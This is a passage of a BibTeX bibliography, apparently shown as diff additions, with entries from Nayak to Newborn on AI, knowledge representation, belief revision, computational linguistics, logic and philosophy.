facilitates knowledge base construction and + supports focused generation of device models. Second, we show + how the structural, behavioral, and functional contexts of the + device define model adequacy and provide the task focus and + additional constraints to guide the search for adequate models. + Third, we describe a novel model selection algorithm that + incorporates device behavior with order of magnitude reasoning + and focuses model selection with component interaction + heuristics. Fourth, we present the results of our + implementation that produces adequate models and causal + explanations of a variety of electromechanical devices drawn + from a library of 20 components and 150 model fragments. + } , + topic = {causal-explanations;device-modeling;problem-solving;} + } + +@inproceedings{ nayak_pp-williams_bc:1998a, + author = {P. Panduarng Nayak and Brian C. Williams}, + title = {Fast Context Switching in Real-Time Propositional + Reasoning}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {50--56}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {theorem-proving;truth-maintenance;context;} + } + +@article{ neal:1992a, + author = {Radford M. Neal}, + title = {Connectionist Learning of Belief Networks}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {1}, + pages = {71--113}, + topic = {machine-learning;Bayesian-networks;connectionist-learning;} + } + +@article{ neale:1988a, + author = {Stephen Neale}, + title = {Events and `Logical Form'\, } , + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {3}, + pages = {303--321}, + topic = {nl-semantics;logic-of-perception;} + } + +@book{ neale:1990a, + author = {Stephen Neale}, + title = {Descriptions}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + ISBN = {0262140454}, + topic = {philosophy-of-language;reference;definite-descriptions; + context;} + } + +@article{ neale:1992a, + author = {Stephen Neale}, + title = {Paul {G}rice and the Philosophy of Language}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {5}, + pages = {509--559}, + note = {Review of {\it Studies in the Way of Words}, by + {H}. {P}aul {G}rice}, + xref = {Review of grice_hp:1989a.}, + xref = {See erratum: neale:1992b.}, + topic = {Grice;philosophy-of-language;speaker-meaning;implicature;} + } + +@article{ neale:1992b, + author = {Stephen Neale}, + title = {Erratum}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {6}, + pages = {677}, + note = {To `Paul {G}rice and the Philosophy of Language'.}, + xref = {Erratum to neale:1992a.}, + topic = {Grice;philosophy-of-language;speaker-meaning; + implicature;} + } + +@incollection{ neale:1993a, + author = {Stephen Neale}, + title = {Term Limits}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {89--123}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reference;logical-form;nl-semantics;} + } + +@article{ neale:1994a, + author = {Stephen Neale}, + title = {The Place of Language}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1994}, + volume = {94}, + note = {Supplementary Series.}, + pages = {215--227}, + topic = {philosophy-of-language;} + } + +@incollection{ neander:1998a, + author = {Karen Neander}, + title = {The Division of Phenomenal Labor: A + Problem for Representational Theories of + Consciousness}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {411--434}, + address = {Oxford}, + topic = {philosophy-of-mind;consciousness;} + } + +@book{ neapolitan:1990a, + author = {Richard E. Neapolitan}, + title = {Probabilistic Reasoning in Expert Systems: Theory and + Algorithms}, + publisher = {John Wiley and Sons}, + year = {1990}, + address = {New York}, + topic = {probabilistic-reasoning;Bayesian-networks;expert-systems;} +} + +@article{ nease-owens_dk:1997a, + author = {Robert F. {Nease, Jr.} and Douglas K. Owens}, + title = {Use of Influence Diagrams to Structure Medical Decisions}, + journal = {Medical Decision Making}, + year = {1997}, + volume = {17}, + pages = {263--275}, + missinginfo = {number}, + topic = {causal-networks;decision-analysis;influence-diagrams; + reasoning-with-diagrams;} + } + +@book{ nebel:1987a, + author = {Bernhard Nebel}, + title = {Reasoning and Revision in Hybrid Representation System}, + publisher = {Springer-Verllag}, + year = {1987}, + series = {Lecture Notes in Artificial Intelligence}, + address = {Berlin}, + topic = {kr;taxonomic-logics;belief-revision;truth-maintenance;kr-course;} + } + +@article{ nebel:1988a, + author = {Bernhard Nebel}, + title = {Computational Complexity of Terminological Reasoning + in {BACK}}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {3}, + pages = {371--383}, + topic = {complexity-in-AI;taxonomic-logics;} +} + +@inproceedings{ nebel:1989a, + author = {Bernhard Nebel}, + title = {A Knowledge Level Analysis of Belief Revision}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {301--311}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + month = {May}, + topic = {belief-revision;} + } + +@book{ nebel:1990a, + author = {Bernhard Nebel}, + title = {Reasoning and Revision in Hybrid Representation Systems}, + publisher = {Springer-Verlag}, + year = {1990}, + number = {422}, + series = {Lecture Notes in Artificial Intelligence}, + address = {Berlin}, + ISBN = {0387524436 (U.S.)}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@article{ nebel:1990b, + author = {Bernhard Nebel}, + title = {Terminological Reasoning is Inherently Intractable}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {2}, + pages = {235--249}, + acontentnote = {Abstract: + Computational tractability has been a major concern in the area + of terminological knowledge representation and reasoning. + However, all analyses of the computational complexity of + terminological reasoning are based on the hidden assumption that + subsumption in terminologies reduces to subsumption of concept + descriptions without a significant increase in computational + complexity. In this paper it will be shown that this assumption, + which seems to work in the "normal case", is nevertheless + wrong. Subsumption in terminologies turns out to be + co-NP-complete for a minimal terminological + representation language that is a subset of every useful + terminological language. + } , + topic = {kr;taxonomic-logics;kr-complexity-analysis;kr-course;} + } + +@incollection{ nebel:1991a, + author = {Bernhard Nebel}, + title = {Belief Revision and Default Reasoning: Syntax-Based Approaches}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {417--428}, + address = {San Mateo, California}, + topic = {kr;belief-revision;nonmonotonic-logic;default-logic;kr-course;} + } + +@incollection{ nebel:1992a, + author = {Bernhard Nebel}, + title = {Syntax Based Approaches to Belief Revision}, + booktitle = {Belief revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {52--88}, + address = {Cambridge}, + topic = {belief-revision;} + } + +@book{ nebel-etal:1992a, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + title = {{KR}': Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1992}, + address = {San Francisco}, + topic = {kr;} + } + +@article{ nebel-backstrom:1994a, + author = {Bernhard Nebel and Christer B\"ackstr\"om}, + title = {On the Computational Complexity of Temporal Projection, + Planning, and Plan Validation}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {1}, + pages = {125--160}, + topic = {complexity-in-AI;planning;temporal-reasoning;} + } + +@article{ nebel-koehler:1995a, + author = {Bernhard Nebel and Jana Koehler}, + title = {Plan Reuse Versus Plan Generation: a Theoretical and Empirical + Analysis}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {427--454}, + topic = {planning;plan-reuse;kr-complexity-analysis;} + } + +@incollection{ nebel:1996a, + author = {Bernhard Nebel}, + title = {Artificial Intelligence: A Computational Perspective}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {237--266}, + address = {Stanford, California}, + topic = {complexity-in-AI;} + } + +@incollection{ nebel:1998a, + author = {Bernhard Nebel}, + title = {How Hard is it to Revise a Belief Base?}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {77--145}, + address = {Dordrecht}, + topic = {belief-revision;complexity;complexity-in-AI;} + } + +@inproceedings{ nebel:1999a, + author = {Bernhard Nebel}, + title = {What is the Expressive Power of Disjunctive Preconditions?}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {planning-formalisms;disjunction;} + } + +@incollection{ nebel:2000a, + author = {Bernhard Nebel}, + title = {On the Expressive Power of Planning Formalisms}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {469--488}, + address = {Dordrecht}, + topic = {logic-in-AI;STRIPS;planning-formalisms;expressive-power;} + } + +@incollection{ nebel:2002a, + author = {Bernhard Nebel}, + title = {The Philosophical Soccer Player}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {631}, + address = {San Francisco, California}, + topic = {kr;cognitive-robotics;philosophy-and-AI;} + } + +@article{ neches:1993a, + author = {Robert Neches}, + title = {Review of {\it Building Large Knowledge-Based Systems: + Representation and Inference in the {CYC} Project}, by + {D}.{B}. {L}enat and {R}.{V}. {G}uha}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {65--79}, + xref = {Review of lenat-guha:1989a.}, + topic = {kr;large-kr-systems;kr-course;} + } + +@inproceedings{ nederhof-satta:1996a, + author = {Mark-Jan Nederhof and Giorgio Satta}, + title = {Efficient Tabular {LR} Parsing}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {239--246}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;} + } + +@incollection{ nederhof-etal:1997a, + author = {Mark-Jan Nederhof and Gosse Bouma and Rob Koeling and + Gertjan van Noord}, + title = {Grammatical Analysis in the {OVIS} + Spoken Dialogue System}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {66--73}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nl-processing;speech-recognition;} + } + +@incollection{ nederhof:1998a, + author = {Mark-Jan Nederhof}, + title = {Context-Free Parsing through Regular Approximation}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {13--24}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;context-free-grammars; + parsing-algorithms;} + } + +@article{ nederhof:1999a, + author = {Mark-Jan Nederhof}, + title = {The Computational Complexity of the Correct-Prefix + Property for {TAGS}}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {345--359}, + topic = {complexity-in-AI;complexity-theory;TAG-grammar;} + } + +@article{ nederhof:2000a, + author = {Mark-Jan Nederhof}, + title = {Practical Experiments with Regular Approximation of + Context-Free Languages}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {1}, + pages = {17--44}, + topic = {finite-state-nlp;finite-state-approximation;experimental-AI;} + } + +@article{ needham:1999a, + author = {Paul Needham}, + title = {Macroscopic Processes}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {2}, + pages = {310--331}, + topic = {philosophy-of-physics;foundations-of-thermodynamics;} + } + +@article{ negri-vonplato:2001a, + author = {Sara Negri and Jan von Plato}, + title = {Sequent Calculus in Natural Deduction Style}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {4}, + pages = {1803--1816}, + topic = {proof-theory;} + } + +@article{ nehamas:1975a, + author = {Alexander Nehamas}, + title = {Confusing Universals and Particulars in {P}lato's + Early Dialogues}, + journal = {The Review of Metaphysics}, + year = {1975}, + volume = {29}, + number = {2}, + pages = {287--306}, + topic = {Plato;metaphysics;} + } + +@article{ nehamas:1975b, + author = {Alexander Nehamas}, + title = {Plato on the Imperfection of the Sensible World}, + journal = {American Philosophical Quarterly}, + year = {1975}, + volume = {812}, + number = {2}, + pages = {105--117}, + topic = {Plato;metaphysics;} + } + +@article{ nehamas:1985a, + author = {Wilfrid Hodges}, + title = {Truth in a Structure}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1975}, + volume = {1985/1986}, + pages = {135--151}, + topic = {model-theory;history-of-logic;Tarski;} + } + +@unpublished{ nehemas:1980a, + author = {Alexander Nehemas}, + title = {Faces of Skepticism}, + year = {1980}, + note = {Manuscript, Philosophy Department, University of Pittsburgh.}, + missinginfo = {Date is a guess.}, + topic = {skepicism;} + } + +@inproceedings{ neiger:1988a, + author = {Gil Neiger}, + title = {Knowledge Consistency: A Useful Suspension of Disbelief}, + booktitle = {Proceedings of the Second Conference on Theoretical Aspects of + Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {295--308}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {epistemic-logic;distributed-systems;knowledge-based-programming;} + } + +@article{ neiger-toueg:1990a, + author = {Gil Neiger and S. Toueg}, + title = {Automatically Increasing the Fault-Tolerance of Distributed + Algorithms}, + journal = {Journal of Algorithms}, + year = {1990}, + volume = {11}, + number = {3}, + pages = {374--419}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;} + } + +@incollection{ neiger-bazzi:1992a, + author = {Gil Neiger and Rida Bazzi}, + title = {Using Knowledge to Optimally Achieve Coordination in + Distributed Systems}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {43--59}, + address = {San Francisco}, + topic = {epistemic-logic;distributed-systems;} + } + +@article{ neiger-toueg:1993a, + author = {Gil Neiger and S. Toueg}, + title = {Simulating Real-Time Clocks and Common Knowledge in Distributed + Systems}, + journal = {Journal of the {ACM}}, + year = {1993}, + volume = {40}, + number = {2}, + pages = {334--352}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;synchronization;mutual-beliefs;} + } + +@article{ neiger-tuttle:1993a, + author = {Gil Neiger and M.R. Tuttle}, + title = {Common Knowledge and Consistent Simultaneous Coordination}, + journal = {Distributed Computing}, + year = {1993}, + volume = {6}, + number = {3}, + pages = {334--352}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;distributed-systems;} + } + +@inproceedings{ neimela:1995a, + author = {Ilkka {Niemel\"a}}, + title = {Towards Efficient Default Reasoning}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {312--318}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nonmonotonic-reasoning;} + } + +@article{ neisser:1988a, + author = {U. Neisser}, + title = {Five Kinds of Self-Knowledge}, + journal = {Philosophical Psychology}, + year = {1988}, + volume = {1}, + pages = {35--59}, + missinginfo = {A's 1st name, number}, + topic = {introspection;self-knowledge;} + } + +@incollection{ nejdl-banagl:1992a, + author = {Wolfgang Nejdl and Marcus Banagl}, + title = {Asking about Possibilities---Revision and Update Semantics + for Subjunctive Queries}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {697--708}, + address = {San Mateo, California}, + topic = {kr;belief-revision;conditionalization;} + } + +@article{ nelken-francez:2002a, + author = {R. Nelken and N. Francez}, + title = {Bilattices and the Semantics of Natural Language Questions}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {1}, + pages = {37--64}, + topic = {bilattices;multi-valued-logic;interrogatives;nl-semantics;} + } + +@article{ nelkin:2000a, + author = {Dana K. Nelkin}, + title = {Two Standpoints and the Belief in Freedom}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {10}, + pages = {564--563}, + topic = {freedom;} + } + +@article{ nelson_a:1984a, + author = {Alan Nelson}, + title = {Some Issues Surrounding the Reduction of Macro- + to Micro-Economics}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {4}, + pages = {573--594}, + topic = {theory-reduction;philosophy-of-economics;} + } + +@article{ nelson_j:1970a, + author = {Jack Nelson}, + title = {Prior on {L}eibniz's Law}, + journal = {Analysis}, + year = {1970}, + volume = {39}, + number = {3}, + pages = {92--94}, + topic = {identity;} + } + +@incollection{ nemeti:1996a, + author = {Istv\'an N\'emeti}, + title = {A Fine-Structure Analysis of First-Order Logic}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {221--247}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@article{ nemirow:1995a, + author = {Lawrence Nemirow}, + title = {Understanding Rules}, + journal = {The Journal of Philosophy}, + year = {1995}, + volume = {92}, + number = {1}, + pages = {28--43}, + topic = {philosophy-of-cogsci;philosophy-of-linguistics;} + } + +@article{ nenkova:2002a, + author = {Ani Nenkova}, + title = {A Tableau Method for Graded Intersections of Modalities: A + Case for Concept Languages}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {1}, + pages = {67--77}, + topic = {taxonomic-logics;modal-logic;} + } + +@article{ nerbonne:1988a, + author = {John Nerbonne}, + title = {Reference Time and Time in Narration}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {83--95}, + topic = {nl-tense;narrative-representation;} + } + +@unpublished{ nerbonne:1993a, + author = {John Nerbonne}, + title = {The Computational Lexicon and Its Interfaces}, + year = {1993}, + note = {Course Notes, LSA Summer Institute, 1993.}, + contentnote = {TC: + 1. Nerbonne-Flickinger, "Inheritance and Computation" + 2. Extracts from _Information_Based_Syntax_and_Semantics + 3. Nerbonne-etal, "German Grammar in HPSG" + 4. Krieger, "Feature Based Allomorphy" + }, + topic = {computational-lexicography;} + } + +@article{ nerbonne:1995a, + author = {John Nerbonne}, + title = {Nominal Comparatives and Generalized Quantifiers}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {4}, + pages = {273--300}, + topic = {comparative-constructions;generalized-quantifiers;} + } + +@incollection{ nerbonne:1996a, + author = {John Nerbonne}, + title = {Computational Semantics---Linguistics and Processing}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {461--484}, + topic = {computational-linguistics;nl-semantics; + computational-semantics;} + } + +@book{ nerbonne:1997a, + editor = {John Nerbonne}, + title = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + address = {Stanford, California}, + contentnote = {TC: + 1. John Nerbonne, "Introduction", pp. 1--12 + 2. Stephen Oepen and Klaus Netter and Judith Klein, "Test + Suites for Natural Language Processing", pp. 13--36 + 3. Jacques Le Maitre and Elizabeth Murisasco and Monique + Rolbert, "From Annotated Corpora to Databases: The + {S}gml{QL} Language", pp. 37--58 + 4. Martin Volk, "Markup of a Test Suite with {SGML}", pp. 59--76 + 5. Werner A. Deutsch and Ralf Vollman and Anton Noll and Sylvia + Moosm\"uller, "An Open Systems Approach to an + Acoustic-Phonetic Continuous Speech Database: The + {S}-{T}ools Database-Management System + ({STDBMS})", pp. 77--92 + 6. Erik Fudge and Linda Shockey, "The Reading Database of + Syllable Structure", pp. 93--102 + 7. Edgar Haimerl, "A Database Application for the Generation + of Phonetic Atlas Maps", pp. 103--116 + 10. Gerard Chollet and Jean-Luc Cochard and Andrei Constantinescu + and Cedric Jaroulet and Philippe Langlais, "Swiss {F}rench + {P}oly{P}hone and {P}oly{V}ar: Telephone Speech Databases + to Model Inter- and Intra-Speaker Variability", pp. 117--135 + 11. Andres Bredenkamp and Louisa Sadler and Andrew + Spencer, "Investigating Argument Structure: The {R}ussian + Nominalization Database", pp. 137--159 + 12. Siohan Devlin and John Tait, "The Use of a Psycholinguistic + Database in the Simplification of Text for Aphasic + Readers", pp. 161--174 + 13. Sylviane Granger, "The Computer Learner Corpus: A Testbed for + Electronic {EFL} Tools", pp. 175--188 + 14. Oliver Christ, "Linking {W}ord{N}et to a Corpus Query + System", pp. 189--202 + 15. Gary F. Simons and John V. Thomson, "Multilingual Data + Processing in the {CELLAR} Environment", pp. 203--234 + } , + ISBN = {1-57586-092-9 (paperback)}, + xref = {Reviews: tiedemann:1999a, konig-mengel:2000a.}, + topic = {linguistic-databases;corpus-linguistics; + computer-assisted-science;computer-assisted-linguistics;} + } + +@incollection{ nerbonne:1997b, + author = {John Nerbonne}, + title = {Introduction}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {1--12}, + address = {Stanford, California}, + topic = {linguistic-databases;corpus-linguistics; + computer-assisted-science;computer-assisted-linguistics;} + } + +@article{ nerbonne:2000a, + author = {John Nerbonne}, + title = {Review of {\it The {MIT} Encyclopedia of the Cognitive + Sciences}, edited by {R}obert {A}. {W}ilson and + {F}rank {C}. {K}eil}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {463--467}, + xref = {Review of: wilson_ra-keil:1999a.}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@incollection{ nercessian:1992a2, + author = {Nancy Nercessian}, + title = {How Do Scientists Think? Capturing the + Dynamics of Conceptual Change in Science}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {137--181}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@article{ nerlich:1965a, + author = {George Nerlich}, + title = {Presupposition and Entailment}, + journal = {American Philosophical Quarterly}, + year = {1965}, + volume = {2}, + pages = {33--42}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@book{ nerode-shore:1993a, + author = {Anil Nerode and Richard A. Shore}, + title = {Logic For Applications}, + publisher = {Springer-Verlag}, + year = {1993}, + address = {Berlin}, + ISBN = {0387941290}, + topic = {logic-programming;} + } + +@incollection{ netzer-elhadad:1998a, + author = {Yael Dahan Netzer and Michael Elhadad}, + title = {Generation of Noun Compounds in {H}ebrew: Can Syntactic + Knowledge be Fully Encapsulated?}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {168--177}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;compound-nouns;Hebrew-language;} + } + +@incollection{ neubauer-petofi:1981a, + author = {Fritz Neubauer and Janos S. Pet\"ofi}, + title = {Word Semantics, Lexical Systems, and Text + Interpretations}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {343--377}, + address = {Berlin}, + topic = {lexical-semantics;nl-interpretation;} + } + +@incollection{ neufeld:1989a, + author = {Eric Neufeld}, + title = {Defaults and Probabilities: Extensions and Coherence}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {312--323}, + address = {San Mateo, California}, + topic = {kr;default-logic;probabilistic-semantics;kr-course;} + } + +@article{ neufeld:1991a, + author = {Eric Neufeld}, + title = {Notes on `A Clash of Intuitions'}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {225--240}, + topic = {inheritance-theory;probability-semantics;} + } + +@article{ neufeld:1999a, + author = {Eric Neufeld}, + title = {Review of {\em Statistical Methods for Speech + Recognition}, by {F}rederic {J}elenek}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {297--298}, + xref = {Review of jelenick:1997a.}, + topic = {speech-recognition;statistical-nlp;} + } + +@incollection{ neugenbauer-petermann:1998a, + author = {G. Neugebauer and U. Petermann}, + title = {Specifications of Inference Rules: Extensions of the + {PTTP} Technique}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@inproceedings{ neuhaus-broker:1997a, + author = {Peter Neuhaus and Norbert Br\"oker}, + title = {The Complexity of Recognition of Linguistically + Adequate Dependency Grammars}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {337--343}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {complexity-in-AI;categorial-grammar;} + } + +@book{ neuman_wm-lamming:1995a, + author = {William M. Newman and Michael G. Lamming}, + title = {Interactive System Design}, + publisher = {Addison-Wesley}, + year = {1995}, + address = {Reading, Massaachusetts}, + ISBN = {0201631628}, + topic = {HCI;} + } + +@book{ neuman_wr-etal:1992a, + author = {W. Russell Neuman and Marion R. Just and Ann N. Crigler}, + title = {Common Knowledge: News and The Construction of Political + Meaning}, + publisher = {University of Chicago Press}, + year = {1992}, + address = {Chicago}, + ISBN = {0226574393 (cloth)}, + topic = {shared-cognition;} + } + +@inproceedings{ neumann:1997a, + author = {G\"unter Neumann}, + title = {Applying Explanation-Based Learning to Control + and Speeding-up Natural Language Generation}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {214--221}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {nl-generation;machine-language-learning; + explanation-based-learning;} + } + +@article{ neumann:1998a, + author = {G\"unter Neumann}, + title = {Interleaving Natural Language Parsing and + Generation through Uniform Processing}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {1}, + pages = {121--163}, + topic = {nl-generation;nl-interpretation;} + } + +@book{ neurath-etal:1970a, + editor = {Otto Neurath and Rudolf Carnap and Charles Morris}, + title = {Foundations of the Unity of Science: Toward an International + Encyclopedia of Unified Science}, + publisher = {University of Chicago Press}, + year = {1969--1970}, + address = {Chicago}, + ISBN = {0226575861 (vol. 1)}, + topic = {philosophy-of-science;} + } + +@article{ nevatia-binford:1977a, + author = {Ramakant Nevatia and Thomas O. Binford}, + title = {Description and Recognition of Curved Objects}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {77--98}, + acontentnote = {Abstract: + Analysis of scenes of three-dimensional objects has, in the + past, been largely limited to the world of polyhedra. Techniques + for generating structured, symbolic descriptions of complex + curved objects by segmenting them into simpler sub-parts are + presented here. The complexity of objects used is that of toy + animals and hand tools. Recognition is performed by matching + these descriptions with stored descriptions of models. A laser + ranging technique is used to acquire three-dimensional position + of points on the visible surfaces. Successful segmentation and + recognition results have been obtained for scenes with multiple, + occluding objects in various orientations and with a variety of + articulations of sub-parts.}, + topic = {shape-recognition;three-D-imaging;} + } + +@article{ nevins:1975a, + author = {Arthur J. Nevins}, + title = {Plane Geometry Theorem Proving Using Forward Chaining}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {1}, + pages = {1--23}, + topic = {theorem-proving;computer-assisted-mathrmatics;} + } + +@article{ nevins:1975b, + author = {Arthur J. Nevins}, + title = {A Relaxation Approach to Splitting in an Automatic Theorem + Prover}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {1}, + pages = {25--39}, + topic = {theorem-proving;relaxation-methods;} + } + +@article{ new:1966a1, + author = {C.G. New}, + title = {A Plea for Linguistics}, + journal = {Mind}, + year = {1966}, + volume = {75}, + pages = {368--384}, + missinginfo = {A's 1st name, number}, + xref = {Reprinted in fann:1969a; see new:1966a2.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ new:1966a2, + author = {C.G. New}, + title = {A Plea for Linguistics}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {148--165}, + address = {London}, + missinginfo = {E's 1st name.}, + xref = {Reprinted in in fann:1969a; see new:1966a1.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@article{ newborn:1977a, + author = {M.M. Newborn}, + title = {The Efficiency of the Alpha-Beta Search on Trees with + Branch-Dependent Terminal Node Scores}, + journal = {Artificial Intelligence}, + year = {1977}, + volume 